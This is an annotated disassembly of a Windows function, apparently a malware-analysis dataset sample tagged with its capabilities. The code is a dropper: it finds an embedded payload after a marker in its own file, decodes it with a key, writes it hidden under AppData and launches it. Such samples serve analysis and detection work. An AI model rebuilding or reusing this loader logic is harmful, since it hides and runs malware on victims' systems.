Function at 0x4015fe
Capabilities:
Create process on windows
Delete file
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2ac
mov dword [ebp - 0x244], sym.__SjuU:y_8guntL__M_s3Sa3TL:7.7U7U5TL:7_7U7U_PcT
mov dword [ebp - 0x240], 0x43c03e
lea eax, [ebp - 0x23c]
lea edx, [ebp - 0x18]
mov dword [eax], edx
mov edx, 0x401c85
mov dword [eax + 4], edx
mov dword [eax + 8], esp
lea eax, [ebp - 0x25c]
mov dword [esp], eax
call fcn.0040d0f0
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp + 4], 0x43d040
mov dword [esp], 0
mov dword [ebp - 0x258], 0xffffffff
call sub.KERNEL32.DLL_GetModuleFileNameA
sub esp, 0xc
mov dword [esp], 0x43d040
call sub.msvcrt.dll_strlen
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
add eax, 0x43d03b
mov byte [eax], 0
mov dword [esp], 0x43d040
call sym.7U_V7_:727UL:77U6L97:76Tz_697.t7K_X88nuWVx
mov dword [ebp - 0x1c], 0
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
mov dword [esp], 0x441194
call sub.msvcrt.dll_memset
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
mov dword [esp], 0x441150
call sub.msvcrt.dll_memset
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp + 4], 0
mov dword [esp], 0x441030
call sub.msvcrt.dll_memset
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp + 4], 0
mov dword [esp], 0x4410b0
call sub.msvcrt.dll_memset
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp + 4], 0
mov dword [esp], 0x43d040
call sub.msvcrt.dll_memset
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
mov dword [esp + 0x10], 0x4410b0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x23
mov dword [esp], 0
call sub.SHELL32.DLL_SHGetFolderPathA
sub esp, 0x14
mov dword [esp + 4], 0x43e005
mov dword [esp], 0x4410b0
call sub.msvcrt.dll_strcat
mov dword [esp + 4], str.Saaaalamm
mov dword [esp], 0x4410b0
call sub.msvcrt.dll_strcat
mov dword [esp + 4], str.Mira.h
mov dword [esp], 0x4410b0
call sub.msvcrt.dll_strcat
mov dword [esp], 0x4410b0
call sym.7Q_6Tn7U_V7_:727UL:77U6L97:76Tz_697.t7
test al, al
je 0x4017c2
mov dword [ebp - 0x260], 0
jmp 0x401d17
mov dword [ebp - 0x258], 0xffffffff
call sym.U_y7UYtUx7Q_6Tn7U_V7_:727UL:77U6L97:76Tz_6
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp + 4], 0x43d040
mov dword [esp], 0
call sub.KERNEL32.DLL_GetModuleFileNameA
sub esp, 0xc
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.7UBWVaQ7U8K7U__7U__WwdJFg7_6TUy_g_7U__m7Un6T6T7U__W
mov dword [esp + 8], 4
mov dword [esp + 4], 0x43d040
lea eax, [ebp - 0x128]
mov dword [esp], eax
mov dword [ebp - 0x258], 2
call sym.___U7U1T__TKy57U9UL6TT7U_TF6T_97D7U_B_Y8U__T_y
lea eax, [ebp - 0x228]
mov dword [esp], eax
call sym._YU7W7u7UEUh7UIAyiU7U:F7U7U7d97Uyy77u7T_9U
mov dword [esp + 8], 4
mov dword [esp + 4], 0x441030
lea eax, [ebp - 0x228]
mov dword [esp], eax
mov dword [ebp - 0x258], 1
call sym.kyB_Vyy_a_:_YFUw2U7Bk_7rF6T6__Tsy_57UMU6_rJ6TwU
mov dword [esp + 4], 2
mov dword [esp], 0x441030
call sub.KERNEL32.DLL_SetFileAttributesA
sub esp, 8
lea eax, [ebp - 0x128]
add eax, 0x74
mov dword [esp], eax
mov dword [ebp - 0x258], 1
call sym.y___7U8KEEEIA__wI_Ki_e__g_A7U_s52p___
test al, al
jne 0x401b96
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.7U7U7U7U7U7U7U7U7U7U7U7U7U7U7U7U
add dword [0x441018], 1
adc dword [0x44101c], 0
cmp byte [0x441020], 0x4e
jne 0x401873
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.7U7U7U7U7U7U7U7U7U7U7U7U7U7U7U7U
add dword [0x441018], 1
adc dword [0x44101c], 0
cmp byte [0x441020], 0x61
jne 0x401873
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.7U7U7U7U7U7U7U7U7U7U7U7U7U7U7U7U
add dword [0x441018], 1
adc dword [0x44101c], 0
cmp byte [0x441020], 0x48
jne 0x401873
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.7U7U7U7U7U7U7U7U7U7U7U7U7U7U7U7U
add dword [0x441018], 1
adc dword [0x44101c], 0
cmp byte [0x441020], 0x61
jne 0x401873
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.7U7U7U7U7U7U7U7U7U7U7U7U7U7U7U7U
add dword [0x441018], 1
adc dword [0x44101c], 0
cmp byte [0x441020], 0x4a
jne 0x401873
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.7U7U7U7U7U7U7U7U7U7U7U7U7U7U7U7U
add dword [0x441018], 1
adc dword [0x44101c], 0
cmp byte [0x441020], 0x61
jne 0x401873
mov byte [0x441130], 1
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.7U7U7U7U7U7U7U7U7U7U7U7U7U7U7U7U
movzx eax, byte [0x441020]
mov byte [0x43d0c0], al
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.7U7U7U7U7U7U7U7U7U7U7U7U7U7U7U7U
movzx eax, byte [0x441020]
mov byte [0x43d0c1], al
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.7U7U7U7U7U7U7U7U7U7U7U7U7U7U7U7U
movzx eax, byte [0x441020]
mov byte [0x43d0c2], al
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.7U7U7U7U7U7U7U7U7U7U7U7U7U7U7U7U
movzx eax, byte [0x441020]
mov byte [0x43d0c3], al
lea eax, [ebp - 0x128]
add eax, 0x74
mov dword [esp], eax
mov dword [ebp - 0x258], 1
call sym.y___7U8KEEEIA__wI_Ki_e__g_A7U_s52p___
test al, al
jne 0x401873
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.7U7U7U7U7U7U7U7U7U7U7U7U7U7U7U7U
mov ecx, dword [0x441010]
mov ebx, dword [0x441014]
mov dword [ebp - 0x268], ecx
mov dword [ebp - 0x264], ebx
mov eax, dword [ebp - 0x268]
mov edx, dword [ebp - 0x264]
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x26c], edx
cmp dword [ebp - 0x26c], 0
jns 0x401b1f
add dword [ebp - 0x270], 3
adc dword [ebp - 0x26c], 0
mov eax, dword [ebp - 0x270]
mov edx, dword [ebp - 0x26c]
shrd eax, edx, 2
sar edx, 2
shld edx, eax, 2
shl eax, 2
mov ecx, dword [ebp - 0x268]
mov ebx, dword [ebp - 0x264]
sub ecx, eax
sbb ebx, edx
mov eax, ecx
mov edx, ebx
add eax, 0x43d0c0
movzx eax, byte [eax]
sub byte [0x441020], al
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x228]
mov dword [esp], eax
mov dword [ebp - 0x258], 1
call sym.p5T4jmwh09_FyW8Tdl996tT477UE7U7UyWo_dlLAUQm7U
add dword [0x441010], 1
adc dword [0x441014], 0
jmp 0x401a97
lea eax, [ebp - 0x228]
mov dword [esp], eax
mov dword [ebp - 0x258], 1
call sym.89UNxyU7UQ__U7c7TEEE
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.h_TY7257U6H_6TN8U06d:9U:F07U_V7T:N6T6dkF_8_8sVBC
cmp byte [0x441130], 0
je 0x401c1e
mov dword [esp + 0x24], 0x441194
mov dword [esp + 0x20], 0x441150
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x10
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x441030
call sub.KERNEL32.DLL_CreateProcessA
sub esp, 0x28
jmp 0x401c37
mov dword [esp], 0x441030
mov dword [ebp - 0x258], 1
call sub.KERNEL32.DLL_DeleteFileA
sub esp, 4
mov dword [ebp - 0x258], 1
call sym.97.t7K_X88nuWVx9_TP6TVz26zU_T97:j6TP_6TV26MzU__QzU__dl
lea eax, [ebp - 0x228]
mov dword [esp], eax
mov dword [ebp - 0x258], 2
call sym.L_p__h1AM65TEEye_:_a__C_:7u6Ye:7u6Y
lea eax, [ebp - 0x128]
mov dword [esp], eax
mov dword [ebp - 0x258], 0xffffffff
call sym.7U7U_T5L5v6_vGv78:77ud98Uy77p_9UFQ7U_7U_
mov dword [ebp - 0x260], 0
jmp 0x401d17
lea eax, [ebp - 0x25c]
mov dword [esp], eax
call fcn.0040d1d0
mov eax, dword [ebp - 0x260]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 0x10